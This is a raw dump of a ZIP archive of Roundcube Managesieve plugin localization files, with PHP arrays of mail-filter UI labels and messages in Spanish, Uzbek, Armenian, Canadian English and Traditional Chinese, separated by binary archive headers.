$messages['filtersaveerror'] = 'No es posible guardar el filtro. Ha ocurrido un error de servidor.';
$messages['filterdeleteconfirm'] = '¿Estás seguro que quieres eliminar el filtro seleccionado?';
$messages['ruledeleteconfirm'] = '¿Estás seguro que quieres eliminar la regla seleccionada?';
$messages['actiondeleteconfirm'] = '¿Estás seguro que queires eliminar la acción seleccionada?';
$messages['forbiddenchars'] = 'Carácteres ilegales en el campo.';
$messages['cannotbeempty'] = 'El campo no puede estar vacio.';
$messages['ruleexist'] = 'Ya existe un filtro con el nombre especificado.';
$messages['activateerror'] = 'No es posible habilitar los filtros seleccionados. Ha ocurrido un error de servidor.';
$messages['deactivateerror'] = 'No es posible deshabilitar los filtros seleccionados. Ha ocurrido un error de servidor.';
$messages['deactivated'] = 'Filtro(s) deshabilitado(s) exitosamente.';
$messages['activated'] = 'Filtro(s) habilitado(s) exitosamente.';
$messages['moved'] = 'Filtro movido exitosamente.';
$messages['moveerror'] = 'No es posible mover los filtros seleccionados. Ha ocurrido un error de servidor.';
$messages['nametoolong'] = 'Nombre demasiado largo.';
$messages['namereserved'] = 'Nombre reservado.';
$messages['setexist'] = 'Set ya existe.';
$messages['nodata'] = 'Debes seleccionar al menos una posición.';
$messages['invaliddateformat'] = 'Fecha o parte del formato no válido';
$messages['saveerror'] = 'No es posible guardar la información. Ha ocurrido un error de servidor.';
$messages['emptyvacationbody'] = 'Cuerpo del mensaje de vacaciones es requerido!';
PKh�\FR�CC'plugins/managesieve/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['scope'] = 'Viloyat';
$labels['messagedelete'] = 'Savatga';
$labels['add'] = 'Qo`shish';
$labels['del'] = 'O`chirish';
$labels['sender'] = 'Jo`natuvchi';
$labels['flagread'] = 'O`qilgan';
$labels['flagdeleted'] = 'O`chirilgan';
$labels['flagflagged'] = 'Belgilangan';
$labels['notifymethodmailto'] = 'E-Mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['datetest'] = 'Sana';
$labels['advancedopts'] = 'Qo`shimcha xossalar';
$labels['body'] = 'Xat tarkibi';
$labels['vacation.subject'] = 'Mavzu';
$labels['vacation.body'] = 'Xat tarkibi';
PKh�\ʎ�P P *plugins/managesieve/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Զտիչներ';
$labels['managefilters'] = 'Կառավարել ստացվող նամակների զտիչները';
$labels['filtername'] = 'Զտիչի անուն';
$labels['newfilter'] = 'Նոր զտիչ';
$labels['filteradd'] = 'Ավելացնել զտիչ';
$labels['filterdel'] = 'Ջնջել զտիչը';
$labels['moveup'] = 'Բարձրացնել';
$labels['movedown'] = 'Իջեցնել';
$labels['filterallof'] = 'հետևյալ բոլոր պահանջներին համապատասխանող';
$labels['filteranyof'] = 'հետևյալ պահանջներից ցանկացածին համապատասխանող';
$labels['filterany'] = 'բոլոր հաղորդագրությունները';
$labels['filtercontains'] = 'պարունակում է';
$labels['filternotcontains'] = 'չի պարունակում';
$labels['filteris'] = 'հավասար է';
$labels['filterisnot'] = 'հավասար չէ';
$labels['filterexists'] = 'գոյություն ունի';
$labels['filternotexists'] = 'գոյություն չունի';
$labels['filtermatches'] = 'բավարարում է արտահայտությանը';
$labels['filternotmatches'] = 'չի բավարարում արտահայտությանը';
$labels['filterregex'] = 'բավարարում է կանոնավոր արտահայտությանը';
$labels['filternotregex'] = 'չի բավարարում կանոնավոր արտահայտությանը';
$labels['filterunder'] = 'տակ';
$labels['filterover'] = 'վրա';
$labels['addrule'] = 'Ավելացնել պայմանը';
$labels['delrule'] = 'Ջնջել պայմանը';
$labels['messagemoveto'] = 'Տեղափոխել հաղորդագրությունը';
$labels['messageredirect'] = 'Վերահասցեվորել հաղորդագրությունը';
$labels['messagecopyto'] = 'Պատճենել հաղորդագրությունը';
$labels['messagesendcopy'] = 'Ուղարկել հաղորդագրության պատճեն';
$labels['messagereply'] = 'Պատասխանել հաղորդագրությամբ';
$labels['messagedelete'] = 'Ջնջել հաղորդագրությունը';
$labels['messagediscard'] = 'Հեռացնել, հաղորդագրությամբ';
$labels['messagesrules'] = 'Ստացվող հաղորդագրությունների համար';
$labels['messagesactions'] = '…կատարել հետևյալ գործողությունները.';
$labels['add'] = 'Ավելացնել';
$labels['del'] = 'Ջնջել';
$labels['sender'] = 'Ուղարկող';
$labels['recipient'] = 'Ստացող';
$labels['vacationdays'] = 'Ինչ հաճախությամբ ուղարկել հաղորդագրությունները (օրեր)`';
$labels['vacationreason'] = 'Հաղորդագրության բովանդակություն (արձակուրդի պատճառ)`';
$labels['vacationsubject'] = 'Հաղորդագրության վերնագիր`';
$labels['rulestop'] = 'Դադարել պայմանների ստուգումը';
$labels['enable'] = 'Միացնել/Անջատել';
$labels['filtersets'] = 'Զտիչների համալիրներ';
$labels['filterdef'] = 'Զտիչի սահմանում';
$labels['active'] = 'ակտիվ';
$labels['none'] = 'ոչ մեկը';
$labels['fromset'] = 'համալիրից';
$labels['fromfile'] = 'ֆայլից';
$labels['filterdisabled'] = 'Զտիչը անջատված է';
$labels['countisgreaterthan'] = 'քանակը գերազանցում է';
$labels['countisgreaterthanequal'] = 'քանակը գերազանցում է կամ հավասար է';
$labels['countislessthan'] = 'քանակը պակաս է';
$labels['countislessthanequal'] = 'քանակը պակաս է կամ հավասար է';
$labels['countequals'] = 'քանակը հավասար է';
$labels['valueisgreaterthan'] = 'արժեքը գերազանցում է';
$labels['valueisgreaterthanequal'] = 'արժեքը գերազանցում է կամ հավասար է';
$labels['valueislessthan'] = 'արժեքը պակաս է';
$labels['valueislessthanequal'] = 'արժեքը պակաս է կամ հավասար է';
$labels['valueequals'] = 'արժեքը հավասար է';
$labels['setflags'] = 'Հաղորդագրությունը նշել որպես';
$labels['addflags'] = 'Ավելացնել նշաններ հաղորդագրությանը';
$labels['removeflags'] = 'Հեռացնել նշաններ հաղորդագրությունից';
$labels['flagread'] = 'Ընթերցված';
$labels['flagdeleted'] = 'Ջնջված';
$labels['flaganswered'] = 'Պատասխանված';
$labels['flagflagged'] = 'Նշված';
$labels['flagdraft'] = 'Սևագիր';
$labels['notifymethodmailto'] = 'Էկ–փոստ';
$labels['notifymethodtel'] = 'Հեռախոս';
$labels['filtercreate'] = 'Ստեղծել զտիչ';
$labels['usedata'] = 'Զտիչում օգտագործել հետևյալ տեղեկությունը.';
$labels['nextstep'] = 'Հաջորդ քայլ';
$labels['...'] = '…';
$labels['datetest'] = 'Ամսաթիվ';
$labels['advancedopts'] = 'Հավելյալ ընտրանքներ';
$labels['body'] = 'Մարմին';
$labels['address'] = 'հասցե';
$labels['envelope'] = 'ծրար';
$labels['modifier'] = 'փոփոխիչ`';
$labels['text'] = 'տեքստ';
$labels['undecoded'] = 'մաքուր';
$labels['contenttype'] = 'բովանդակության տիպ';
$labels['modtype'] = 'տիպ`';
$labels['allparts'] = 'բոլորը';
$labels['domain'] = 'տիրույթ';
$labels['localpart'] = 'լոկալ մաս';
$labels['user'] = 'օգտվող';
$labels['detail'] = 'մաս';
$labels['comparator'] = 'համեմատիչ`';
$labels['default'] = 'լռակյաց';
$labels['octet'] = 'անփոփոխ (օկտետ)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['spamtestequals'] = 'հավասար է';
$labels['spamtestnotequals'] = 'հավասար չէ';
$labels['vacation.subject'] = 'Վերնագիր';
$labels['vacation.body'] = 'Մարմին';
$labels['vacation.keep'] = 'Պահել';
$messages['filterunknownerror'] = 'Սերվերի անհայտ սխալ';
$messages['filterconnerror'] = 'Սերվերի հետ կապի խնդիր։';
$messages['filterdeleted'] = 'Զտիչը ջնջվեց։';
$messages['filtersaved'] = 'Զտիչը պահպանվեց։';
$messages['filterdeleteconfirm'] = 'Դուք իսկապե՞ս ցանկանում եք ջնջել նշված զտիչը։';
$messages['ruledeleteconfirm'] = 'Դուք իսկապե՞ս ցանկանում եք ջնջել նշված պայմանը։';
$messages['actiondeleteconfirm'] = 'Դուք իսկապե՞ս ցանկանում եք ջնջել նշված գործողությունը։';
$messages['forbiddenchars'] = 'Դաշտում առկա են արգելված նիշեր։';
$messages['cannotbeempty'] = 'Դաշտը դատարկ չի կարող լինել։';
$messages['ruleexist'] = 'Տրված անունով զտիչ արդեն գոյություն ունի։';
$messages['deactivated'] = 'Զտիչի միացված է։';
$messages['activated'] = 'Զտիչի անջատված է։';
$messages['moved'] = 'Զտիչի տեղափոխված է։';
$messages['nametoolong'] = 'Անունը չափազանց երկար է։';
$messages['namereserved'] = 'Անթույլատրելի անուն։';
$messages['setexist'] = 'Համալիրը արդեն գոյություն ունի։';
$messages['nodata'] = 'Պահանջվում է նշել գոնե մեկ դիրք։';
PKh�\?�6G�"�"*plugins/managesieve/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filters';
$labels['managefilters'] = 'Manage incoming mail filters';
$labels['filtername'] = 'Filter name';
$labels['newfilter'] = 'New filter';
$labels['filteradd'] = 'Add filter';
$labels['filterdel'] = 'Delete filter';
$labels['scope'] = 'Scope';
$labels['moveup'] = 'Move up';
$labels['movedown'] = 'Move down';
$labels['filterallof'] = 'matching all of the following rules';
$labels['filteranyof'] = 'matching any of the following rules';
$labels['filterany'] = 'all messages';
$labels['filtercontains'] = 'contains';
$labels['filternotcontains'] = 'not contains';
$labels['filteris'] = 'is equal to';
$labels['filterisnot'] = 'is not equal to';
$labels['filterexists'] = 'exists';
$labels['filternotexists'] = 'not exists';
$labels['filtermatches'] = 'matches expression';
$labels['filternotmatches'] = 'not matches expression';
$labels['filterregex'] = 'matches regular expression';
$labels['filternotregex'] = 'not matches regular expression';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['addrule'] = 'Add rule';
$labels['delrule'] = 'Delete rule';
$labels['messagemoveto'] = 'Move message to';
$labels['messageredirect'] = 'Redirect message to';
$labels['messagecopyto'] = 'Copy message to';
$labels['messagesendcopy'] = 'Send message copy to';
$labels['messagereply'] = 'Reply with message';
$labels['messagedelete'] = 'Delete message';
$labels['messagediscard'] = 'Discard with message';
$labels['messagekeep'] = 'Keep message in Inbox';
$labels['messagesrules'] = 'For incoming mail:';
$labels['messagesactions'] = '...execute the following actions:';
$labels['add'] = 'Add';
$labels['del'] = 'Delete';
$labels['sender'] = 'Sender';
$labels['recipient'] = 'Recipient';
$labels['vacationdays'] = 'How often send messages (in days):';
$labels['vacationinterval'] = 'How often send messages:';
$labels['vacationreason'] = 'Message body (vacation reason):';
$labels['vacationsubject'] = 'Message subject:';
$labels['days'] = 'days';
$labels['seconds'] = 'seconds';
$labels['rulestop'] = 'Stop evaluating rules';
$labels['enable'] = 'Enable/Disable';
$labels['filtersets'] = 'Filter sets';
$labels['filterdef'] = 'Filter definition';
$labels['active'] = 'active';
$labels['none'] = 'none';
$labels['fromset'] = 'from set';
$labels['fromfile'] = 'from file';
$labels['filterdisabled'] = 'Filter disabled';
$labels['countisgreaterthan'] = 'count is greater than';
$labels['countisgreaterthanequal'] = 'count is greater than or equal to';
$labels['countislessthan'] = 'count is less than';
$labels['countislessthanequal'] = 'count is less than or equal to';
$labels['countequals'] = 'count is equal to';
$labels['countnotequals'] = 'count is not equal to';
$labels['valueisgreaterthan'] = 'value is greater than';
$labels['valueisgreaterthanequal'] = 'value is greater than or equal to';
$labels['valueislessthan'] = 'value is less than';
$labels['valueislessthanequal'] = 'value is less than or equal to';
$labels['valueequals'] = 'value is equal to';
$labels['valuenotequals'] = 'value is not equal to';
$labels['setflags'] = 'Set flags to the message';
$labels['addflags'] = 'Add flags to the message';
$labels['removeflags'] = 'Remove flags from the message';
$labels['flagread'] = 'Read';
$labels['flagdeleted'] = 'Deleted';
$labels['flaganswered'] = 'Answered';
$labels['flagflagged'] = 'Flagged';
$labels['flagdraft'] = 'Draft';
$labels['setvariable'] = 'Set variable';
$labels['setvarname'] = 'Variable name:';
$labels['setvarvalue'] = 'Variable value:';
$labels['setvarmodifiers'] = 'Modifiers:';
$labels['varlower'] = 'lower-case';
$labels['varupper'] = 'upper-case';
$labels['varlowerfirst'] = 'first character lower-case';
$labels['varupperfirst'] = 'first character upper-case';
$labels['varquotewildcard'] = 'quote special characters';
$labels['varlength'] = 'length';
$labels['notify'] = 'Send notification';
$labels['notifytarget'] = 'Notification target:';
$labels['notifymessage'] = 'Notification message (optional):';
$labels['notifyoptions'] = 'Notification options (optional):';
$labels['notifyfrom'] = 'Notification sender (optional):';
$labels['notifyimportance'] = 'Importance:';
$labels['notifyimportancelow'] = 'low';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'high';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Phone';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Create filter';
$labels['usedata'] = 'Use following data in the filter:';
$labels['nextstep'] = 'Next Step';
$labels['...'] = '...';
$labels['currdate'] = 'Current date';
$labels['datetest'] = 'Date';
$labels['dateheader'] = 'header:';
$labels['year'] = 'year';
$labels['month'] = 'month';
$labels['day'] = 'day';
$labels['date'] = 'date (yyyy-mm-dd)';
$labels['julian'] = 'date (julian)';
$labels['hour'] = 'hour';
$labels['minute'] = 'minute';
$labels['second'] = 'second';
$labels['time'] = 'time (hh:mm:ss)';
$labels['iso8601'] = 'date (ISO8601)';
$labels['std11'] = 'date (RFC2822)';
$labels['zone'] = 'time-zone';
$labels['weekday'] = 'weekday (0-6)';
$labels['advancedopts'] = 'Advanced options';
$labels['body'] = 'Body';
$labels['address'] = 'address';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'modifier:';
$labels['text'] = 'text';
$labels['undecoded'] = 'undecoded (raw)';
$labels['contenttype'] = 'content type';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'all';
$labels['domain'] = 'domain';
$labels['localpart'] = 'local part';
$labels['user'] = 'user';
$labels['detail'] = 'detail';
$labels['comparator'] = 'comparator:';
$labels['default'] = 'default';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'backwards';
$labels['spamtestequals'] = 'is equal to';
$labels['spamtestnotequals'] = 'is not equal to';
$labels['vacation.reply'] = 'Reply message';
$labels['vacation.advanced'] = 'Advanced settings';
$labels['vacation.subject'] = 'Subject';
$labels['vacation.body'] = 'Body';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'On';
$labels['vacation.off'] = 'Off';
$labels['vacation.interval'] = 'Reply interval';
$labels['vacation.saving'] = 'Saving data...';
$labels['vacation.keep'] = 'Keep';
$labels['forward.on'] = 'On';
$labels['forward.off'] = 'Off';
$labels['forward.saving'] = 'Saving data...';
$labels['duplicate.header'] = 'header:';
$messages['filterunknownerror'] = 'Unknown server error.';
$messages['filterconnerror'] = 'Unable to connect to server.';
$messages['filterdeleteerror'] = 'Unable to delete filter. Server error occurred.';
$messages['filterdeleted'] = 'Filter deleted successfully.';
$messages['filtersaved'] = 'Filter saved successfully.';
$messages['filtersaveerror'] = 'Unable to save filter. Server error occurred.';
$messages['filterdeleteconfirm'] = 'Do you really want to delete selected filter?';
$messages['ruledeleteconfirm'] = 'Are you sure, you want to delete selected rule?';
$messages['actiondeleteconfirm'] = 'Are you sure, you want to delete selected action?';
$messages['forbiddenchars'] = 'Forbidden characters in field.';
$messages['cannotbeempty'] = 'Field cannot be empty.';
$messages['ruleexist'] = 'Filter with specified name already exists.';
$messages['activateerror'] = 'Unable to enable selected filter(s). Server error occurred.';
$messages['deactivateerror'] = 'Unable to disable selected filter(s). Server error occurred.';
$messages['deactivated'] = 'Filter(s) disabled successfully.';
$messages['activated'] = 'Filter(s) enabled successfully.';
$messages['moved'] = 'Filter moved successfully.';
$messages['moveerror'] = 'Unable to move selected filter. Server error occurred.';
$messages['nametoolong'] = 'Name too long.';
$messages['namereserved'] = 'Reserved name.';
$messages['setexist'] = 'Set already exists.';
$messages['nodata'] = 'At least one position must be selected!';
$messages['invaliddateformat'] = 'Invalid date or date part format';
$messages['saveerror'] = 'Unable to save data. Server error occurred.';
PKh�\,K0S7373*plugins/managesieve/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = '篩選';
$labels['managefilters'] = '設定篩選';
$labels['filtername'] = '篩選名稱';
$labels['newfilter'] = '建立新篩選';
$labels['filteradd'] = '加入篩選';
$labels['filterdel'] = '刪除篩選';
$labels['rules'] = '規則';
$labels['actions'] = '動作';
$labels['scope'] = '範圍';
$labels['moveup'] = '上移';
$labels['movedown'] = '下移';
$labels['filterallof'] = '符合所有規則';
$labels['filteranyof'] = '符合任一條規則';
$labels['filterany'] = '所有郵件';
$labels['filtercontains'] = '包含';
$labels['filternotcontains'] = '不包含';
$labels['filteris'] = '等於';
$labels['filterisnot'] = '不等於';
$labels['filterexists'] = '存在';
$labels['filternotexists'] = '不存在';
$labels['filtermatches'] = '符合表達式';
$labels['filternotmatches'] = '不符合表達式';
$labels['filterregex'] = '符合正規表達式';
$labels['filternotregex'] = '不符合正規表達式';
$labels['filterunder'] = '小於';
$labels['filterover'] = '大於';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME 部分:';
$labels['mime-message'] = '郵件';
$labels['mime-anychild'] = '任何';
$labels['mime-type'] = '類型';
$labels['mime-subtype'] = '子類型';
$labels['mime-contenttype'] = '內容類型';
$labels['mime-param'] = '參數';
$labels['addrule'] = '加入規則';
$labels['delrule'] = '刪除規則';
$labels['messagemoveto'] = '將郵件移至';
$labels['messageredirect'] = '將郵件轉寄至';
$labels['messagecopyto'] = '將郵件複製至';
$labels['messagesendcopy'] = '寄送郵件複本至';
$labels['messagereply'] = '用以下內容回覆';
$labels['messagedelete'] = '刪除郵件';
$labels['messagediscard'] = '刪除郵件並用以下內容回覆';
$labels['messagekeep'] = '在收件匣保留郵件';
$labels['messagesrules'] = '對新收到的郵件:';
$labels['messagesactions'] = '執行以下動作:';
$labels['add'] = '加入';
$labels['del'] = '刪除';
$labels['sender'] = '寄件者';
$labels['recipient'] = '收件者';
$labels['vacationaddr'] = '我的電郵位址:';
$labels['vacationdays'] = '多久回覆一次(單位:天):';
$labels['vacationinterval'] = '多久回覆一次:';
$labels['vacationreason'] = '郵件內容 (休假原因):';
$labels['vacationfrom'] = '回覆寄件者位址:';
$labels['vacationsubject'] = '郵件主旨:';
$labels['days'] = '天';
$labels['seconds'] = '秒';
$labels['rulestop'] = '停止評估規則';
$labels['enable'] = '啟用/停用';
$labels['filterset'] = '篩選集';
$labels['filtersets'] = '篩選集合';
$labels['filtersetadd'] = '加入篩選集';
$labels['filtersetdel'] = '刪除篩選集';
$labels['filtersetact'] = '啟用現有篩選集';
$labels['filtersetdeact'] = '停用現有篩選集';
$labels['filterseteditraw'] = '編輯篩選集合';
$labels['filtersetswitch'] = '啟用/停用篩選集';
$labels['filterdef'] = '篩選定義';
$labels['filtersetname'] = '篩選集名稱';
$labels['newfilterset'] = '新篩選集';
$labels['active'] = '啟用';
$labels['none'] = '無';
$labels['fromset'] = '從集合';
$labels['fromfile'] = '從檔案';
$labels['filterdisabled'] = '篩選已停用';
$labels['filterenabled'] = '已啟用篩選';
$labels['countisgreaterthan'] = '數量大於';
$labels['countisgreaterthanequal'] = '數量大於或等於';
$labels['countislessthan'] = '數量小於';
$labels['countislessthanequal'] = '數量小於或等於';
$labels['countequals'] = '數量等於';
$labels['countnotequals'] = '數量不等於';
$labels['valueisgreaterthan'] = '值大於';
$labels['valueisgreaterthanequal'] = '值大於或等於';
$labels['valueislessthan'] = '值小於';
$labels['valueislessthanequal'] = '值小於或等於';
$labels['valueequals'] = '值等於';
$labels['valuenotequals'] = '值不等於';
$labels['setflags'] = '設定旗標';
$labels['addflags'] = '新增旗標到郵件';
$labels['removeflags'] = '移除郵件旗標';
$labels['flagread'] = '已讀';
$labels['flagdeleted'] = '已刪除';
$labels['flaganswered'] = '已經回覆';
$labels['flagflagged'] = '已加旗標';
$labels['flagdraft'] = '草稿';
$labels['addheader'] = '為郵件加入標頭';
$labels['deleteheader'] = '為郵件移除標頭';
$labels['headername'] = '標頭名稱';
$labels['headervalue'] = '標頭值';
$labels['headerpos'] = '標頭位置';
$labels['headeratstart'] = '開首';
$labels['headeratend'] = '結尾';
$labels['headeroccurrence'] = '標頭出現與否/位置';
$labels['headerfromstart'] = '由開首開始';
$labels['headerfromend'] = '由結尾開始';
$labels['headerpatterns'] = '標頭植樣式';
$labels['headermatchtype'] = '符合類型:';
$labels['setvariable'] = '設定變數';
$labels['setvarname'] = '變數名稱:';
$labels['setvarvalue'] = '變數值:';
$labels['setvarmodifiers'] = '修改:';
$labels['varlower'] = '小楷';
$labels['varupper'] = '大楷';
$labels['varlowerfirst'] = '第一個字母小楷';
$labels['varupperfirst'] = '第一個字母大楷';
$labels['varquotewildcard'] = '跳脫字元';
$labels['varlength'] = '長度';
$labels['notify'] = '寄送通知';
$labels['notifytarget'] = '通知收件人';
$labels['notifymessage'] = '通知內容訊息(選填):';
$labels['notifyoptions'] = '通知項目(選填):';
$labels['notifyfrom'] = '通知寄件人(選填):';
$labels['notifyimportance'] = '重要性:';
$labels['notifyimportancelow'] = '低';
$labels['notifyimportancenormal'] = '一般';
$labels['notifyimportancehigh'] = '高';
$labels['notifymethodmailto'] = '電郵';
$labels['notifymethodtel'] = '電話';
$labels['notifymethodsms'] = 'SMS短訊';
$labels['filtercreate'] = '建立篩選';
$labels['usedata'] = '於篩選使用以下資料:';
$labels['nextstep'] = '下一步';
$labels['...'] = '…';
$labels['string'] = '字串';
$labels['currdate'] = '現在日期';
$labels['datetest'] = '日期';
$labels['dateheader'] = '標頭:';
$labels['year'] = '年';
$labels['month'] = '月';
$labels['day'] = '日';
$labels['date'] = '日期 (yyyy-mm-dd)';
$labels['julian'] = '日期 (公曆)';
$labels['hour'] = '小時';
$labels['minute'] = '分鐘';
$labels['second'] = '秒';
$labels['time'] = '時間 (hh:mm:ss)';
$labels['iso8601'] = '日期 (ISO8601)';
$labels['std11'] = '日期 (RFC2822)';
$labels['zone'] = '時區';
$labels['weekday'] = '週幾 (0-6)';
$labels['advancedopts'] = '進階選項';
$labels['body'] = '內文';
$labels['address'] = '郵件位址';
$labels['envelope'] = '信封';
$labels['modifier'] = '修改:';
$labels['text'] = '文字';
$labels['undecoded'] = '未解碼 (原始)';
$labels['contenttype'] = '內容類型';
$labels['modtype'] = '類型:';
$labels['allparts'] = '全部';
$labels['domain'] = '網域';
$labels['localpart'] = '本機部分';
$labels['user'] = '使用者';
$labels['detail'] = '細節';
$labels['comparator'] = '比較:';
$labels['default'] = '預設';
$labels['octet'] = '嚴謹模式 (八位元組)';
$labels['asciicasemap'] = '不區分大小寫 (採用 ASCII-casemap)';
$labels['asciinumeric'] = '數字類型 (ASCII-numeric)';
$labels['index'] = '索引:';
$labels['indexlast'] = '向後';
$labels['spamtest'] = '垃圾郵件等級';
$labels['spamtestisgreaterthan'] = '大於';
$labels['spamtestisgreaterthanequal'] = '大於或等於';
$labels['spamtestislessthan'] = '小於';
$labels['spamtestislessthanequal'] = '小於或等於';
$labels['spamtestequals'] = '等於';
$labels['spamtestnotequals'] = '不等於';
$labels['spamtestisunknown'] = '未知';
$labels['vacation'] = '不在辦公室';
$labels['vacation.reply'] = '回覆郵件';
$labels['vacation.advanced'] = '進階設定';
$labels['vacation.from'] = '回覆寄件者位址';
$labels['vacation.subject'] = '主旨';
$labels['vacation.body'] = '內文';
$labels['vacation.start'] = '開始時間';
$labels['vacation.end'] = '結束時間';
$labels['vacation.status'] = '狀態';
$labels['vacation.on'] = '開';
$labels['vacation.off'] = '關';
$labels['vacation.addresses'] = '我的電子郵件位址';
$labels['vacation.interval'] = '回覆間隔';
$labels['vacation.after'] = '在此項目之後放置「不在辦公室」規則:';
$labels['vacation.saving'] = '正在儲存資料...';
$labels['vacation.action'] = '對收到的郵件的動作';
$labels['vacation.keep'] = '保留';
$labels['vacation.discard'] = '丟棄';
$labels['vacation.redirect'] = '重定向至';
$labels['vacation.copy'] = '傳送複本至';
$labels['forward'] = '轉寄';
$labels['forward.redirect'] = '重定向至';
$labels['forward.copy'] = '傳送複本至';
$labels['forward.on'] = '開';
$labels['forward.off'] = '關';
$labels['forward.status'] = '狀態:';
$labels['forward.action'] = '對於收到的郵件,執行以下動作:';
$labels['forward.saving'] = '正在儲存資料...';
$labels['filladdresses'] = '填入我所有的位址';
$labels['arialabelfiltersetactions'] = '篩選集合動作';
$labels['arialabelfilteractions'] = '篩選動作';
$labels['arialabelfilterform'] = '篩選內容';
$labels['ariasummaryfilterslist'] = '篩選清單';
$labels['ariasummaryfiltersetslist'] = '篩選集合清單';
$labels['filterstitle'] = '編輯「收到郵件的篩選」';
$labels['vacationtitle'] = '編輯「不在辦公室」規則';
$labels['forwardtitle'] = '編輯郵件轉寄規則';
$labels['message'] = '郵件';
$labels['duplicate'] = '重覆';
$labels['notduplicate'] = '不是重覆';
$labels['duplicate.handle'] = '處理常式:';
$labels['duplicate.header'] = '標頭:';
$labels['duplicate.uniqueid'] = '識別碼:';
$labels['duplicate.seconds'] = '逾時 (秒):';
$labels['duplicate.last'] = '相對於上次執行';
$messages['filterunknownerror'] = '未知的伺服器錯誤';
$messages['filterconnerror'] = '無法與伺服器連線';
$messages['filterdeleteerror'] = '無法刪除篩選。伺服器出錯';
$messages['filterdeleted'] = '成功刪除篩選器';
$messages['filtersaved'] = '成功儲存篩選器。';
$messages['filtersaveerror'] = '無法儲存篩選。伺服器出錯';
$messages['filterformerror'] = '篩選表單出錯';
$messages['filterdeleteconfirm'] = '確定要刪除所選的郵件規則嗎?';
$messages['ruledeleteconfirm'] = '確定要刪除所選的郵件規則嗎?';
$messages['actiondeleteconfirm'] = '確定要刪除所選的動作嗎?';
$messages['forbiddenchars'] = '內容包含禁用字元';
$messages['cannotbeempty'] = '內容不能為空白';
$messages['ruleexist'] = '規則名稱重複';
$messages['setactivateerror'] = '無法啟用所選的篩選集。伺服器出錯。';
$messages['setdeactivateerror'] = '無法停用所選的篩選集。伺服器出錯。';
$messages['setdeleteerror'] = '無法刪除所選的篩選集。伺服器出錯。';
$messages['setactivated'] = '已啟用篩選集。';
$messages['setdeactivated'] = '已停用篩選集。';
$messages['setdeleted'] = '已刪除篩選集。';
$messages['setupdated'] = '已更新篩選集。';
$messages['setdeleteconfirm'] = '確定要刪除所選的篩選集?';
$messages['setcreateerror'] = '無法建立篩選集。伺服器出錯。';
$messages['setcreated'] = '成功建立篩選集。';
$messages['activateerror'] = '無法啟用所選的篩選。伺服器出錯';
$messages['deactivateerror'] = '無法停用所選的篩選。伺服器出錯';
$messages['deactivated'] = '篩選器已停用';
$messages['activated'] = '篩選器已啟用';
$messages['moved'] = '篩選器已移動';
$messages['moveerror'] = '無法移動所選的篩選。伺服器出錯';
$messages['nametoolong'] = '名稱太長。';
$messages['namereserved'] = '保留名稱。';
$messages['setexist'] = '集合已存在';
$messages['nodata'] = '至少要選擇一個位置';
$messages['invaliddateformat'] = '日期或時間部分格式無效';
$messages['saveerror'] = '無法儲存資料。伺服器出錯';
$messages['vacationsaved'] = '成功儲存「不在辦公室」資料。';
$messages['forwardsaved'] = '成功儲存轉寄資料。';
$messages['emptyvacationbody'] = '休假郵件要有內容!';
$messages['duplicate.conflict.err'] = '不允許標頭和識別碼都是獨一無二的';
$messages['disabledaction'] = '不允許的動作。';
$messages['lastindexempty'] = '若要由結尾開始計算,要先有索引';
$messages['noflagset'] = '必須至少選取一個旗標。';
PKh�\�ݏ+�;�;*plugins/managesieve/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


